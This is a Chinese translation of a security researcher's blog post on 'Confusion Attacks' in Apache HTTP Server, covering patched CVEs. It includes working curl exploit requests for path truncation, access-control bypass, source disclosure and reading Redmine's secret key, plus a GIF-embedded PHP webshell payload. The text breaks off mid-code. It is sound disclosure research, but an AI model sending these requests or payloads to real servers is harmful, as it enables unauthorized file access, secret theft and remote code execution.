Apache HTTP Server混淆攻击:利用隐藏语义模糊性实现漏洞利用

本文深入分析Apache HTTP Server架构问题,揭示三种混淆攻击类型、九个新漏洞、二十种利用技术和三十多个案例研究,包括如何通过单个问号绕过访问控制、不安全重写规则逃逸Web根目录等关键技术细节。

[EN]混淆攻击:利用Apache HTTP Server中隐藏的语义模糊性!

Orange Tsai (@orange_8361) | 繁體中文版本 | English Version

大家好!这是我在Black Hat USA 2024上发布的关于Apache HTTP Server的研究。此外,这项研究也将在HITCON和OrangeCon上进行分享。如果你想预览,可以在这里查看幻灯片: 《混淆攻击:利用Apache HTTP Server中隐藏的语义模糊性!》

同时,我要感谢Akamai的友好联系!他们在这项研究发布后立即发布了缓解措施(详情可在Akamai的博客上找到)。

TL;DR

本文探讨了Apache HTTP Server内的架构问题,重点介绍了Httpd中的若干技术债务,包括3种混淆攻击类型、9个新漏洞、20种利用技术和超过30个案例研究。内容包括但不限于:

  • 如何通过单个?绕过Httpd内置的访问控制和认证
  • 不安全的RewriteRule如何逃逸Web根目录并访问整个文件系统
  • 如何利用1996年的代码将XSS转化为RCE

大纲

  • 故事之前
  • 故事如何开始?
  • 为什么Apache HTTP Server有问题?
  • 全新攻击——混淆攻击
    1. 文件名混淆
    2. DocumentRoot混淆
    3. 处理器混淆
  • 其他漏洞
  • 未来工作
  • 结论

故事之前

这部分只是个人的一些牢骚。如果你只对技术细节感兴趣,请直接跳到——故事如何开始?

作为一名研究人员,也许最大的快乐就是看到自己的工作得到同行的认可和理解。因此,在完成一项成果丰硕的重要研究后,自然希望全世界都能看到——这就是为什么我多次在Black Hat USA和DEFCON上进行分享。如你所知,自2022年以来,我一直无法获得有效的旅行授权进入美国(对于台湾,免签证计划下的旅行授权通常可以在几分钟到几小时内在线获得),导致我错过了Black Hat USA 2022的现场演讲。即使是2023年独自前往马丘比丘和复活节岛的旅行也无法经美国中转:(

为了解决这种情况,我今年1月开始准备B1/B2签证,编写各种文件,在大使馆面试,并无尽地等待。这并不有趣。但为了让我的工作被看到,我仍然花了很多时间寻找所有可能性,甚至在会议前三周,还不清楚我的演讲是否会被取消(BH只接受现场演讲,但感谢RB,最终可以以预录形式呈现)。所以,你看到的一切,包括幻灯片、视频和这篇博客,都是在短短几十天内完成的。😖

作为一名问心无愧的纯粹研究人员,我对漏洞的态度一直是——它们应该直接报告给供应商并修复。写这些文字不是为了任何特别的原因,只是为了记录一些无奈的感觉、今年的努力,并感谢今年帮助过我的人,谢谢大家:)

故事如何开始?

大约今年年初,我开始思考下一个研究目标。如你所知,我总是挑战能够影响整个互联网的大目标,所以我开始寻找一些复杂的主题或有趣的开源项目,如Nginx、PHP,甚至深入研究RFC以加强对协议细节的理解。

虽然大多数尝试以失败告终(尽管少数可能成为下一篇博客文章的主题😉),阅读这些代码让我想起了去年对Apache HTTP Server的一次快速审查!虽然当时由于工作安排没有深入研究代码,但我已经"嗅到"了其编码风格有些不对劲。

所以今年,我决定继续那项研究,将"不良气味"从难以言表的"感觉"转化为对Apache HTTP Server的具体研究!

为什么Apache HTTP Server有问题?

首先,Apache HTTP Server是一个由"模块"构建的世界,正如其官方文档关于模块化所自豪宣称的:

Apache httpd通过其模块化设计一直适应各种环境。[…] Apache HTTP Server 2.0将这种模块化设计扩展到Web服务器的最基本功能。

整个Httpd服务依赖于数百个小模块协同工作来处理客户端的HTTP请求。在官方文档列出的136个模块中,约有一半是默认启用或网站经常使用的!

更令人惊讶的是,这些模块在处理客户端HTTP请求时还维护着一个庞大的request_rec结构。这个结构包含了处理HTTP所涉及的所有元素,其详细定义可在include/httpd.h中找到。所有模块都依赖这个庞大结构进行同步、通信和数据交换。当HTTP请求经过几个阶段时,模块就像玩接球游戏一样,将结构从一个传递给另一个。每个模块甚至有能力根据自己的偏好修改此结构中的任何值!

从软件工程的角度来看,这种协作并不新鲜。每个模块只专注于自己的任务。只要每个人都完成工作,客户端就能享受Httpd提供的服务。这种方法在少数模块下可能运行良好,但当我们扩展到数百个模块协作时——它们真的能良好协作吗?🤔

我们的出发点很简单——模块并不完全了解彼此,但它们需要协作。每个模块可能由不同的人实现,代码经过多年的迭代、重构和修改。他们真的还知道自己在做什么吗?即使他们理解自己的职责,其他模块的实现细节呢?没有任何良好的开发标准或指南,肯定存在我们可以利用的若干漏洞!

全新攻击——混淆攻击

基于这些观察,我们开始关注这些模块之间的"关系"和"交互"。如果一个模块意外修改了它认为不重要但对另一个模块至关重要的结构字段,可能会影响后者的决策。此外,如果字段的定义或语义不够精确,导致模块对同一字段的理解存在歧义,也可能导致潜在的安全风险!

从这个出发点,我们开发了三种不同类型的攻击,因为这些攻击或多或少与结构字段的误用有关。因此,我们将此攻击面命名为"混淆攻击",以下是我们开发的攻击:

  • 文件名混淆
  • DocumentRoot混淆
  • 处理器混淆

通过这些攻击,我们识别了9个不同的漏洞:

  • CVE-2024-38472 - Windows上的Apache HTTP Server UNC SSRF
  • CVE-2024-39573 - Apache HTTP Server代理编码问题
  • CVE-2024-38477 - Apache HTTP Server:通过恶意请求在mod_proxy中导致拒绝服务的崩溃
  • CVE-2024-38476 - Apache HTTP Server可能使用可利用/恶意的后端应用程序输出通过内部重定向运行本地处理器
  • CVE-2024-38475 - Apache HTTP Server在mod_rewrite中当替换的第一个段匹配文件系统路径时的弱点
  • CVE-2024-38474 - Apache HTTP Server在反向引用中编码问号的弱点
  • CVE-2024-38473 - Apache HTTP Server代理编码问题
  • CVE-2023-38709 - Apache HTTP Server:HTTP响应拆分
  • CVE-2024-?????? - [已编辑]

这些漏洞通过官方安全邮件列表报告,并由Apache HTTP Server在2024-07-01发布的2.4.60更新中解决。

由于这是Httpd架构设计及其内部机制的新攻击面,自然,第一个深入研究的人能找到最多的漏洞。因此,我目前持有最多的Apache HTTP Server CVE😉。它导致了许多不向后兼容的更新。因此,对于许多长期运行的生产服务器来说,修补这些问题并不容易。如果管理员不加考虑地更新,可能会破坏现有配置,导致服务停机。😨

现在,是时候开始我们的混淆攻击了!你准备好了吗?

🔥 1. 文件名混淆

第一个问题源于关于filename字段的混淆。从字面上看,r->filename应该表示文件系统路径。然而,在Apache HTTP Server中,一些模块将其视为URL。如果在HTTP上下文中,大多数模块将r->filename视为文件系统路径,但其他一些模块将其视为URL,这种不一致可能导致安全问题!

⚔️ 基本方法1-1. 截断

那么,哪些模块将r->filename视为URL?第一个是mod_rewrite,它允许系统管理员使用RewriteRule指令轻松将路径模式重写为指定的替换目标:

1
RewriteRule Pattern Substitution [flags]

目标可以是文件系统路径或URL。这个功能可能存在以提升用户体验。然而,这种"便利"也引入了风险。例如,在重写目标路径时,mod_rewrite强制将所有结果视为URL,在问号%3F后截断路径。这导致以下两种利用。

路径:modules/mappers/mod_rewrite.c#L4141

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
 * Apply a single RewriteRule
 */
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
    ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
    apr_array_header_t *rewriteconds;
    rewritecond_entry *conds;
    
    // [...]
    
    for (i = 0; i < rewriteconds->nelts; ++i) {
        rewritecond_entry *c = &conds[i];
        rc = apply_rewrite_cond(c, ctx);
        
        // [...] do the remaining stuff
        
    }
    
    /* Now adjust API's knowledge about r->filename and r->args */
    r->filename = newuri;

    if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
        r->path_info = NULL;
    }

    splitout_queryargs(r, p->flags);         // <------- [!!!] 截断 `r->filename`
    
    // [...]
}

✔️ 1-1-1. 路径截断

第一种基本方法利用对文件系统路径的这种截断。想象以下RewriteRule:

1
2
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

服务器将根据用户名打开相应的配置文件,例如:

1
2
$ curl http://server/user/orange
 # 文件 `/var/user/orange/profile.yml` 的输出

由于mod_rewrite强制将所有重写结果视为URL,即使目标是文件系统路径,它也可以在问号处截断,切断尾随的/profile.yml,如:

1
2
$ curl http://server/user/orange%2Fsecret.yml%3F
 # 文件 `/var/user/orange/secret.yml` 的输出

这是我们的第一个基本方法——路径截断。让我们暂时停止对这个基本方法的探索。虽然它现在可能看起来是一个小缺陷,但请记住——它将在后面的攻击中重新出现,逐渐撕开这个看似小的突破口!😜

✔️ 1-1-2. 误导RewriteFlag分配

截断基本方法的第二种利用是误导RewriteFlag的分配。想象一个系统管理员通过以下RewriteRule管理网站及其相应的处理器:

1
2
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

如果请求以.php扩展名结尾,它会为mod_php添加相应的处理器(这也可以是环境变量或Content-Type;你可以参考官方RewriteRule Flags手册了解详情)。

由于mod_rewrite的截断行为发生在正则表达式匹配之后,攻击者可以使用原始规则将标志应用于不应应用的请求,通过使用?。例如,攻击者可以上传嵌入恶意PHP代码的GIF图像,并通过以下精心设计的请求作为后门执行:

1
2
3
4
5
$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>

$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ 基本方法1-2. ACL绕过

文件名混淆的第二个基本方法发生在mod_proxy中。与之前在所有情况下都将目标视为URL的基本方法不同,这次认证和访问控制绕过是由模块之间r->filename语义不一致引起的!

mod_proxyr->filename视为URL实际上是有道理的,因为代理的主要目的是将请求"重定向"到其他URL。然而,当不同组件交互时会出现安全问题——尤其是当大多数模块默认将r->filename视为文件系统路径时,想象你使用基于文件的访问控制,现在mod_proxyr->filename视为URL;这种不一致可能导致访问控制或认证绕过!

一个典型的例子是当系统管理员使用Files指令限制单个文件,如admin.php

1
2
3
4
5
6
<Files "admin.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

这种类型的配置在默认的PHP-FPM安装下可以直接绕过!值得一提的是,这是Apache HTTP Server中最常见的配置认证方式之一!假设你访问这样的URL:

1
http://server/admin.php%3Fooo.php

首先,在此URL的HTTP生命周期中,认证模块将请求的文件名与受保护的文件进行比较。此时,r->filename字段是admin.php?ooo.php,显然与admin.php不匹配,因此模块将假定当前请求不需要认证。然而,PHP-FPM配置设置为使用SetHandler指令将以.php结尾的请求转发到mod_proxy

路径:/etc/apache2/mods-enabled/php8.2-fpm.conf

1
2
3
4
5
# 使用(?:pattern)而不是(pattern)是一个小优化
# 避免捕获匹配模式(作为$1),这里不使用
<FilesMatch ".+\.ph(?:ar|p|tml)$">
    SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>

mod_proxy将把r->filename重写为以下URL,并调用子模块mod_proxy_fcgi处理后续的FastCGI协议:

1
proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由于后端以奇怪的格式接收文件名,PHP-FPM必须特殊处理此行为。此处理的逻辑如下:

路径:sapi/fpm/fpm/fpm_main.c#L1044

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"

if (env_script_filename &&
    strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
    /* advance to first character of hostname */
    char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
    while (*p != '\0' && *p != '/') {
        p++;    /* move past hostname and port */
    }
    if (*p != '\0') {
        /* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */
        memmove(env_script_filename, p, strlen(p) + 1);
        apache_was_here = 1;
    }
    /* ignore query string if sent by Apache (RewriteRule) */
    p = strchr(env_script_filename, '?');
    if (p) {
        *p =0;
    }
}

如你所见,PHP-FPM首先规范化文件名,并在问号?处拆分以提取实际的文件路径执行(即/var/www/html/admin.php)。这导致了绕过,基本上,所有基于Files指令对单个PHP文件的认证或访问控制在与PHP-FPM一起运行时都存在风险!😮

在GitHub上可以找到许多潜在风险的配置,例如phpinfo()仅限制为内部网络访问:

1
2
3
4
5
6
7
8
# 保护phpinfo,仅允许localhost和本地网络访问
<Files php-info.php>
    # 仅本地访问
    # Require local 

    # 本地和LAN访问
    Require ip 10 172 192.168
</Files>

通过.htaccess阻止Adminer:

1
2
3
4
<Files adminer.php>
    Order Allow,Deny
    Deny from all
</Files>

保护xmlrpc.php

1
2
3
4
<Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
</Files>

防止直接访问CLI工具:

1
2
3
<Files "cron.php">
    Deny from all
</Files>

通过认证模块和mod_proxy在解释r->filename字段时的不一致,以上所有示例都可以仅用?成功绕过。

🔥 2. DocumentRoot混淆

我们将深入研究的下一个攻击是基于DocumentRoot的混淆!让我们考虑一下这个Httpd配置:

1
2
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

当你访问URL http://server/html/about时,你认为Httpd实际打开的是哪个文件?是根目录下的/about.html,还是DocumentRoot中的/var/www/html/about.html

答案是——它访问两个路径。是的,这是我们的第二个混淆攻击。对于任何[1] RewriteRule,Apache HTTP Server总是尝试打开有DocumentRoot和没有DocumentRoot的路径!神奇吧?😉

[1] 位于服务器配置或虚拟主机块中

路径:modules/mappers/mod_rewrite.c#L4939

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
        uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
    }

    if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) {     // <------ [1] 无根访问
        int res;
        char *tmp = r->uri;

        r->uri = r->filename;
        res = ap_core_translate(r);             // <------ [2] 有根访问
        r->uri = tmp;

        if (res != OK) {
            rewritelog((r, 1, NULL, "prefixing with document_root of %s"
                        " FAILED", r->filename));

            return res;
        }

        rewritelog((r, 2, NULL, "prefixed with document_root to %s",
                    r->filename));
    }

    rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
    return OK;
}

大多数时候,没有DocumentRoot的版本不存在,所以Apache HTTP Server选择带有DocumentRoot的版本。但这种行为已经让我们能够"故意"访问Web根目录之外的路径。如果今天我们可以控制RewriteRule的前缀,难道我们不能访问系统上的任何文件吗?这就是我们第二个混淆攻击的精神!你可以在GitHub上找到许多有问题的配置,甚至Apache HTTP Server官方文档中的示例也容易受到攻击:

1
2
3
# 删除mykey=???
RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"
RewriteRule "(.*)" "$1?%1%3"

还有其他受影响的RewriteRule,例如基于缓存需求或隐藏文件扩展名的规则:

1
RewriteRule  "^/html/(.*)$"  "/$1.html"

尝试通过选择静态文件的压缩版本来节省带宽的规则:

1
RewriteRule  "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"

将旧URL重定向到主站点的规则:

1
RewriteRule  "^/oldwebsite/(.*)$"  "/$1"

为所有CORS预检请求返回200 OK的规则:

1
2
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]

理论上,只要RewriteRule的目标前缀可控,我们几乎可以访问整个文件系统。但从上面的真实案例来看,像.html.gz这样的扩展名是限制我们真正自由的限制。那么,我们能访问.html之外的文件吗?我不确定你是否记得文件名混淆中的路径截断基本方法?通过结合这两种基本方法,我们可以自由访问文件系统上的任意文件!

以下演示都基于这个不安全的RewriteRule:

1
2
RewriteEngine On
RewriteRule  "^/html/(.*)$"  "/$1.html"

⚔️ 基本方法2-1. 服务器端源代码泄露

让我们介绍DocumentRoot混淆的第一个基本方法——任意服务器端源代码泄露!

由于Apache HTTP Server根据当前目录或虚拟主机配置决定是否将文件视为服务器端脚本,通过绝对路径访问目标可能会混淆Httpd的逻辑,导致其泄露本应作为代码执行的内容。

✔️ 2-1-1. 泄露CGI源代码

从泄露服务器端CGI源代码开始,由于mod_cgi通过ScriptAlias将CGI文件夹绑定到指定的URL前缀,使用其绝对路径直接访问CGI文件可能会由于其URL前缀的改变而泄露其源代码。

1
2
3
4
5
6
7
$ curl http://server/cgi-bin/download.cgi
 # 来自download.cgi的处理结果
$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # #!/usr/bin/perl
 # use CGI;
 # ...
 # # download.cgi的源代码

✔️ 2-1-2. 泄露PHP源代码

接下来是泄露服务器端PHP源代码。鉴于PHP有众多用例,如果PHP环境仅应用于特定目录或虚拟主机(这在Web托管中很常见),从不支持PHP的虚拟主机访问PHP文件可以泄露源代码!

例如,www.localstatic.local是托管在同一服务器上的两个网站;www.local允许PHP执行,而static.local仅提供静态文件。因此,你可以像这样从config.php泄露敏感信息:

1
2
3
4
$ curl http://www.local/config.php
 # 来自config.php的处理结果(空)
$ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # config.php的源代码

⚔️ 基本方法2-2. 本地小工具操纵!

接下来是我们的第二个基本方法——本地小工具操纵。

首先,当我们谈到"访问文件系统上的任何文件"时,你是否想过:“嘿,不安全的RewriteRule能访问/etc/passwd吗?“答案是能,也不能。什么?

从技术上讲,服务器确实检查/etc/passwd是否存在,但Apache HTTP Server的内置访问控制阻止了我们的访问。以下是Apache HTTP Server配置模板的片段:

1
2
3
4
<Directory />
    AllowOverride None
    Require all denied
</Directory>

你会注意到它默认阻止对根目录/的访问(Require all denied)。所以我们的"任意文件访问"能力似乎有点不那么"任意”。这是否意味着表演结束了?不完全是!我们已经打破了仅允许访问DocumentRoot的信任,这是向前迈出的重要一步!

对不同Httpd分布的更仔细检查显示,Debian/Ubuntu操作系统默认允许/usr/share

1
2
3
4
<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>

所以,下一步是在这个目录内"挤压"所有可能性。所有可用资源,如现有教程、文档、单元测试文件,甚至像PHP、Python甚至PHP模块这样的编程语言,都可能成为我们滥用的目标!

P.S. 当然,这里的利用是基于Ubuntu/Debian操作系统分发的Httpd。然而,在实践中,我们还发现一些应用程序从根目录删除了Require all denied行,允许直接访问/etc/passwd

✔️ 2-2-1. 本地小工具到信息泄露

让我们在这个目录中寻找潜在可利用的文件。首先,如果目标Apache HTTP Server安装了websocketd服务,默认包包括一个示例PHP脚本dump-env.php,位于/usr/share/doc/websocketd/examples/php/下。如果目标服务器上有PHP环境,可以直接访问此脚本以泄露敏感环境变量。

此外,如果目标安装了像Nginx或Jetty这样的服务,虽然/usr/share理论上是包安装的只读副本,但这些服务仍然将其默认的Web根目录放在/usr/share下,使得可能泄露敏感的Web应用程序信息,例如Jetty中的web.xml

1
2
3
/usr/share/nginx/html/
/usr/share/jetty9/etc/
/usr/share/jetty9/webapps/

这里有一个简单的演示,使用来自Davical包的setup.php,它作为只读副本存在,泄露phpinfo()的内容。

✔️ 2-2-2. 本地小工具到XSS

接下来,如何将此基本方法转化为XSS?在Ubuntu桌面环境中,默认安装了开源办公套件LibreOffice。我们可以利用帮助文件中的语言切换功能实现XSS。

路径:/usr/share/libreoffice/help/help.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    var url = window.location.href;
    var n = url.indexOf('?');
    if (n != -1) {
        // the URL came from LibreOffice help (F1)
        var version = getParameterByName("Version", url);
        var query = url.substr(n + 1, url.length);
        var newURL = version + '/index.html?' + query;
        window.location.replace(newURL);
    } else {
        window.location.replace('latest/index.html');
    }

因此,即使目标没有部署任何Web应用程序,我们仍然可以通过操作系统自带的文件使用不安全的RewriteRule创建XSS。

✔️ 2-2-3. 本地小工具到LFI

任意文件读取呢?如果目标服务器安装了PHP或前端包,如JpGraph、jQuery-jFeed,甚至WordPress或Moodle插件,它们的教程或调试控制台可以成为我们的小工具,例如:

1
2
3
/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
/usr/share/javascript/jquery-jfeed/proxy.php
/usr/share/moodle/mod/assignment/type/wims/getcsv.php

这里有一个简单的例子,利用来自jQuery-jFeed的proxy.php读取/etc/passwd

✔️ 2-2-4. 本地小工具到SSRF

找到SSRF漏洞也是小菜一碟,例如,MagpieRSS提供了一个magpie_debug.php文件,这是利用的绝佳小工具:

1
/usr/share/php/magpierss/scripts/magpie_debug.php

✔️ 2-2-5. 本地小工具到RCE

那么,我们能实现RCE吗?等等,让我们一步一步来!首先,这个基本方法可以重新应用所有已知的现有攻击,比如开发留下的旧版本PHPUnit或第三方依赖,可以使用CVE-2017-9841直接利用执行任意代码。或者安装了只读副本的phpLiteAdmin,默认密码为admin。到现在,你应该看到本地小工具操纵的巨大潜力。剩下的就是发现更强大和通用的小工具!

⚔️ 基本方法2-3. 从本地小工具越狱

你可能会问:“我们真的不能逃出/usr/share吗?“当然,我们可以,这就引出了我们的第三个基本方法——从/usr/share越狱!

在Debian/Ubuntu的Httpd分发中,默认明确启用了FollowSymLinks选项。即使在非Debian/Ubuntu版本中,Apache HTTP Server也默认隐式允许符号链接。

1
2
3
4
5
<Directory />
    Options FollowSymLinks
    AllowOverride None
    Require all denied
</Directory>

✔️ 2-3-1. 从本地小工具越狱

因此,任何在其安装目录中有指向/usr/share之外的符号链接的包都可以成为垫脚石,以访问更多小工具进行进一步利用。以下是我们迄今为止发现的一些有用符号链接:

  • Cacti日志:/usr/share/cacti/site/ -> /var/log/cacti/
  • Solr数据:/usr/share/solr/data/ -> /var/lib/solr/data
  • Solr配置:/usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki配置:/usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp配置:/usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

✔️ 2-3-2. 从本地小工具越狱到Redmine RCE

为了总结我们的越狱基本方法,让我们展示如何使用Redmine中的双跳符号链接执行RCE。在Redmine的默认安装中,有一个instances/文件夹指向/var/lib/redmine/,而在/var/lib/redmine/中,default/config/文件夹指向/etc/redmine/default/目录,其中包含Redmine的数据库设置和密钥。

1
2
3
4
5
6
$ file /usr/share/redmine/instances/
 symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
 symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
 database.yml    secret_key.txt

因此,通过不安全的RewriteRule和两个符号链接,我们可以轻松访问Redmine使用的应用程序密钥:

1
2
3
4
5
$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
 HTTP/1.1 200 OK
 Server: Apache/2.4.59 (Ubuntu) 
 ...
 6d222c3c3a1881c865428edb79a74405

由于Redmine是一个Ruby on Rails应用程序,secret_key.txt的内容实际上是用于签名和加密的密钥。下一步对于攻击过RoR的人来说应该很熟悉:通过将恶意Marshal对象嵌入cookie,使用已知密钥签名和加密,然后通过服务器端反序列化实现远程代码执行!

🔥 3. 处理器混淆

我要介绍的最后一个攻击是基于处理器的混淆。这个攻击也利用了Apache HTTP Server遗留架构留下的一部分技术债务。让我们通过一个例子快速理解这个技术债务——如果今天你想在Apache HTTP Server上运行经典的mod_php,你使用以下两个指令中的哪一个?

1
2
AddHandler application/x-httpd-php .php
AddType    application/x-httpd-php .php

答案是——两者都可以正确运行PHP!以下是两个指令语法,你可以看到不仅用法相似,甚至效果完全相同。为什么Apache HTTP Server最初设计两个做同样事情的不同指令?

1
2
AddHandler handler-name extension [extension] ...
AddType media-type extension [extension] ...

实际上,handler-namemedia-type代表Httpd内部结构中的不同字段,分别对应r->handlerr->content_type。用户可以在没有意识到的情况下互换使用它们,这要归功于自1996年Apache HTTP Server早期开发以来就一直存在的一段代码:

路径:server/config.c#L420

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) {

    // [...]

    if (!r->handler) {
        if (r->content_type) {
            handler = r->content_type;
            if ((p=ap_strchr_c(handler, ';')) != NULL) {
                char *new_handler = (char *)apr_pmemdup(r->pool, handler,
                                                        p - handler + 1);
                char *p2 = new_handler + (p - handler);
                handler = new_handler;

                /* exclude media type arguments */
                while (p2 > handler && p2[-1] == ' ')
                    --p2; /* strip trailing spaces */

                *p2='\0';
            }
        }
        else {
            handler = AP_DEFAULT_HANDLER_NAME;
        }

        r->handler = handler;
    }

    result = ap_run_handler(r);

你可以看到,在进入ap_run_handler()之前,如果r->handler为空,则使用r->content_type的内容作为最终模块处理器。这也是为什么AddTypeAddHandler具有相同效果的原因,因为媒体类型在处理之前最终被转换为处理器名称。所以,我们的第三个处理器混淆主要是围绕这种行为开发的。

⚔️ 基本方法3-1. 覆盖处理器

通过理解这种转换机制,第一个基本方法是——覆盖处理器。想象一下,如果今天目标Apache HTTP Server使用AddType运行PHP。

1
AddType application/x-httpd-php  .php

在正常过程中,当访问http://server/config.php时,mod_mimetype_checker阶段,根据AddType设置的文件扩展名将相应的内容复制到r->content_type中。由于整个HTTP生命周期中没有分配r->handlerap_invoke_handler()将把r->content_type视为处理器,最终调用mod_php处理请求。

然而,如果任何模块在到达ap_invoke_handler()之前"意外"覆盖了r->content_type会发生什么?

✔️ 3-1-1. 覆盖处理器以泄露PHP源代码

这种基本方法的第一个利用是通过"意外覆盖"泄露任意PHP源代码。这种技术最早由Max Dmitriev在他在ZeroNights 2021上展示的研究中提及(向他致敬!),你可以在这里查看他的幻灯片:

Apache 0day bug, which still nobody knows of, and which was fixed accidentally

Max Dmitriev观察到,通过发送不正确的Content-Length,远程Httpd服务器会触发意外错误,并无意中返回PHP脚本的源代码。在调查过程后,他发现问题是由于ModSecurity在使用Apache Portable Runtime (APR)库时没有正确处理AP_FILTER_ERROR的返回值,导致双重响应。当发生错误时,Httpd尝试发送HTML错误消息,从而意外地将r->content_type覆盖为text/html

由于ModSecurity没有正确处理返回值,本应停止的内部HTTP生命周期继续。这种"副作用"也覆盖了原本添加的Content-Type,导致本应作为PHP处理的文件被视为纯文档,暴露其源代码和敏感设置。🤫

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ curl -v http://127.0.0.1/info.php -H "Content-Length: x"
> HTTP/1.1 400 Bad Request
> Date: Mon, 29 Jul 2024 05:32:23 GMT
> Server: Apache/2.4.41 (Ubuntu)
> Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
...
<?php phpinfo();?>

理论上,所有基于Content-Type的配置都容易受到这种攻击,所以除了Max幻灯片中显示的与mod_actions配对的php-cgi之外,纯mod_phpAddType配对也受到影响。

值得一提的是,这种副作用在Apache HTTP Server版本2.4.44中作为请求解析器错误进行了修正,因此将此"漏洞"视为已修复,直到我再次拾起它。然而,由于根本原因仍然是ModSecurity没有正确处理错误,如果找到触发AP_FILTER_ERROR的其他代码路径,相同的行为仍然可以成功重现。

✔️ 3-1-2. 覆盖处理器到██████ ███████ ██████

基于前面提到的双重响应行为及其副作用,这种基本方法可能导致其他更酷的利用。然而,由于此问题尚未完全解决,进一步的利用将在问题完全解决后披露。

⚔️ 基本方法3-2. 调用任意处理器

让我们更仔细地思考之前的覆盖处理器基本方法,虽然它是由ModSecurity没有正确处理错误引起的,导致请求设置了错误的Content-Type,但更深层次的根本原因应该是——当使用r->content_type时,Apache HTTP Server实际上无法区分其语义;此字段可以在请求阶段由指令设置,或在服务器响应中用作Content-Type头。

理论上,如果你能控制服务器响应中的Content-Type头,你可以通过此遗留代码段调用任意模块处理器。这是处理器混淆的最后一个基本方法——调用任何内部模块处理器!

然而,还有一个最后的谜题。在Httpd中,所有对来自服务器响应的r->content_type的修改都发生在该遗留代码之后。所以,即使你可以控制该字段的值,在HTTP生命周期的那个时间点,进行进一步利用为时已晚……对吗?

我们转向RFC 3875寻求救援!RFC 3875是关于CGI的规范,第6.2.2节定义了本地重定向响应行为:

CGI脚本可以在Location头字段中返回本地资源的URI路径和查询字符串(’local-pathquery’)。这向服务器指示它应使用指定的路径重新处理请求。

简而言之,该规范规定在某些条件下,CGI必须使用服务器端资源处理重定向。仔细检查mod_cgi对此规范的实现揭示:

路径:modules/generators/mod_cgi.c#L983

1
2
3
4
5
6
7
8
9
    if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf,          // <------ [1]
                                                    APLOG_MODULE_INDEX)))
    {
        ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err);

        // [...]

        if (ret == HTTP_NOT_MODIFIED) {
            r->status =
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计